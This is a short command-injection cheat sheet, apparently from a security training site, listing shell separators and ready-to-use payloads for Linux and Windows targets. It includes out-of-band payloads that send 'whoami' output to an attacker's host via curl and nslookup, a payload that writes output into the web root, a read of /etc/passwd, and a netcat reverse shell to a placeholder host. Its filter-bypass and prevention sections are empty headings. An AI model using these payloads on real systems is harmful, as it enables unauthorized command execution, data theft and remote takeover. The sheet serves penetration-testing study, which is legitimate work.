Command Injection

Separators, blind/out-of-band techniques & filter bypass

Command Injection Cheat Sheet

Detect and exploit OS command injection (separators, blind techniques, and filter bypass) plus how to prevent it. For authorized testing only.

1. The bug

The app passes user input into a shell command:

system("ping -c 1 " . $_GET['host']);

You give host=8.8.8.8; id and the shell runs id too.

2. Separators (chain your command)

Operator Effect
; run both (Linux)
&& run second if first succeeds
|| run second if first fails
| pipe output
& background / run both
`id` / $(id) command substitution
%0a (newline) works when other chars are filtered
8.8.8.8; id
8.8.8.8 && whoami
8.8.8.8 | id
8.8.8.8 $(id)
| id

3. Blind (no output shown)

Time-based: confirm execution by delay:

8.8.8.8 && sleep 5
8.8.8.8 & ping -c 5 127.0.0.1 &

Out-of-band: make the server reach out to you:

8.8.8.8; curl http://YOUR.host/$(whoami)
8.8.8.8; nslookup `whoami`.YOUR.collaborator.net

File-based: write output where you can read it:

8.8.8.8; id > /var/www/html/out.txt

4. Filter / restriction bypass

5. Quick wins to confirm + escalate

; id
; uname -a
; cat /etc/passwd
; busybox nc YOUR.host 4444 -e /bin/sh   # reverse shell (see the reverse-shell sheet)

6. Windows variants

& whoami
&& dir
| whoami
%0a whoami

7. Prevent it

Authorized targets only. Practice on the AYSEC web challenges. See also the reverse shell, SQL injection, and XSS cheat sheets.